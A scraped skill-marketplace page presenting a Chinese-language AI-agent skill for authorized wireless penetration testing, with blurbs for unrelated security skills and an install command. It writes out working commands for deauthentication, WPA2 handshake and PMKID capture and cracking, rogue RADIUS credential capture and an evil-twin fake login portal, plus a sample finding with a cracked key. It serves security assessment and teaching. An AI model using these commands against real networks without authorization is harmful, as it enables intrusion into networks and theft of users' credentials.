القائمة
执行授权的无线网络渗透测试，通过测试弱加密协议、强制门户绕过、邪恶双胞胎攻击、WPA2/WPA3 握手捕获、流氓接入点检测和客户端攻击，评估 WiFi 基础设施的安全性。
يُحدَّد Prompt الذي يراجع المصدر أولًا بشكل افتراضي. يمكنك التبديل إلى أمر مباشر أو تنزيل نسخة محلية.
اقرأ SKILL.md وأي ملفات مرافقة يعرضها SkillsMP قبل أن تقرر التثبيت.
التثبيت باستخدام Codex أو Claude انسخ هذا Prompt والصقه في Codex أو Claude أو مساعد آخر ليراجع صفحة Skill ويثبّتها لك.
يتجاوز الأمر المباشر Prompt المخصّص للمراجعة. افحص المصدر قبل تشغيله.
npx skills add https://github.com/killvxk/cybersecurity-skills-zh --skill conducting-wireless-network-penetration-testيبقى الأمر في سطر واحد. مرّر أفقيًا لمراجعته كاملًا قبل النسخ.
تفضّل نسخة محلية؟ نزّل الملفات المتاحة حاليًا لدى SkillsMP.
通过分析 Zeek dns.log 中的高熵子域名查询、超量查询量、超长查询长度以及异常 DNS 记录类型，检测 DNS 隧道和数据外泄中的隐蔽通道通信。适用于：当需要狩猎基于 DNS 的 C2 或数据外泄通道、调查异常 DNS 查询模式、或响应涉及 DNS 隧道工具（iodine、dnscat2、DNSExfiltrator）的威胁情报时使用。
实施 Google 的 BeyondCorp 零信任访问模型，通过 IAP、Access Context Manager 和 Chrome Enterprise Premium，消除网络边界的隐式信任，强制执行基于身份的访问控制，实现无 VPN 的安全应用访问。适用于将传统 VPN 替换为零信任架构、部署 Identity-Aware Proxy、配置设备信任策略、或为远程办公实施上下文感知访问控制时使用。
在授权的安全评估过程中，使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本（XSS）漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS，验证自动化扫描器报告的 XSS 发现，以及评估 CSP 和 XSS 过滤器的有效性时使用。
استنادا إلى تصنيف SOC المهني
عرض SKILL.md
| name | conducting-wireless-network-penetration-test |
| description | 执行授权的无线网络渗透测试，通过测试弱加密协议、强制门户绕过、邪恶双胞胎攻击、WPA2/WPA3 握手捕获、流氓接入点检测和客户端攻击，评估 WiFi 基础设施的安全性。 |
| domain | cybersecurity |
| subdomain | penetration-testing |
| tags | ["wireless-pentest","WiFi-security","WPA2","WPA3","evil-twin"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
不适用场景：未经网络所有者书面授权的无线网络测试、未明确授权的无线基础设施干扰或拒绝服务攻击，以及无线中断可能影响生命安全系统的环境。
发现并映射目标环境中的所有无线网络：
airmon-ng start wlan0airodump-ng wlan0mon -w recon --output-format csv,pcap 以发现所有 SSID、BSSID、信道、加密类型和已连接客户端airodump-ng wlan0mon --essid-regex ".*" -c <channel>对于 WPA2-PSK 网络，捕获四次握手并尝试离线破解：
airodump-ng wlan0mon -c <channel> --bssid <bssid> -w captureaireplay-ng -0 5 -a <bssid> -c <client_mac> wlan0monaircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.caphashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txthashcat -m 22000 capture.hc22000 wordlist.txt -r /usr/share/hashcat/rules/best64.rulehcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng --filtermode=2 --filterlist_ap=<bssid>对于 802.1X/EAP 网络，通过流氓 RADIUS 尝试凭据捕获：
hostapd-mana 配合流氓 RADIUS 服务器设置模拟企业 SSID 的流氓 APasleap 破解捕获的凭据，或转换为 hashcat 格式：hashcat -m 5500 captured_ntlm.txt wordlist.txt部署流氓接入点以拦截客户端连接：
hostapddnsmasq 为 DHCP 和 DNS 设置强制门户，配合提供虚假登录页面的 Web 服务器获得无线网络访问权限后，评估网络分段：
nmap -sn <wireless_subnet>| 术语 | 定义 |
|---|---|
| 邪恶双胞胎 | 模拟合法 SSID 的流氓接入点，诱使客户端连接，从而实现中间人攻击和凭据捕获 |
| 四次握手 | 客户端与 AP 之间建立加密密钥的 WPA2 认证交换；捕获的握手可离线破解 |
| WPA3-SAE | 对等同步认证；WPA3 的密钥交换协议，可抵抗离线字典攻击并提供前向保密 |
| 过渡模式 | WPA3 向后兼容模式，同时支持 WPA2 和 WPA3 客户端，可能存在降级攻击漏洞 |
| PMKID 攻击 | 从 AP 的第一个 EAPOL 帧中捕获成对主密钥标识符的无客户端攻击，允许在不捕获完整握手的情况下进行离线破解 |
| 802.1X/EAP | 使用 RADIUS 和可扩展认证协议的企业无线认证，提供每用户凭据而非共享预共享密钥 |
| 取消认证攻击 | 发送伪造的取消认证帧将客户端从 AP 断开，迫使重新连接，从而实现握手捕获或邪恶双胞胎攻击 |
背景：一家金融服务公司有 3 个 SSID：CorpWiFi（员工使用的 WPA2-Enterprise）、GuestWiFi（强制门户）和 IoT-Net（打印机和会议系统使用的 WPA2-PSK）。测试人员被授权在大厅和会议室测试所有三个网络。
方法：
常见陷阱：
## 发现：IoT 网络上的弱 WPA2-PSK 且网络分段不足
**ID**: WIFI-001
**严重性**: 严重（CVSS 9.4）
**受影响 SSID**: IoT-Net（BSSID: AA:BB:CC:DD:EE:FF）
**加密**: WPA2-Personal（PSK）
**描述**:
IoT 无线网络使用了弱预共享密钥，通过标准字典攻击在 3 分钟内被破解。
连接到 IoT-Net 后，测试人员发现无线 VLAN 未与内部企业网络正确分段，
提供了对文件服务器、活动目录域控制器和内部数据库服务器的无限制访问。
**概念验证**:
1. 捕获 WPA2 握手：airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w iot
2. 在 3 分钟内破解 PSK：aircrack-ng -w rockyou.txt iot-01.cap -> 密钥：Company2024!
3. 连接到 IoT-Net 并扫描：nmap -sn 10.20.0.0/24
4. 从 IoT-Net 可访问：DC01（10.20.0.5:445）、FILESVR（10.20.0.10:445）、DBSVR（10.20.0.15:3306）
**影响**:
无线范围内的攻击者（从公共大厅测试）可以加入 IoT 网络并直接访问企业基础设施，
绕过员工访问所需的 WPA2-Enterprise 认证。
**修复建议**:
1. 为 IoT-Net 实施 20+ 字符的复杂 PSK，每季度轮换
2. 部署 VLAN 分段以隔离 IoT-Net 与企业网络
3. 实施防火墙规则，只允许 IoT 设备访问其所需的服务
4. 在支持的情况下，将 IoT 设备迁移到使用设备证书的 802.1X 认证
5. 部署 WIDS 以检测取消认证攻击和流氓接入点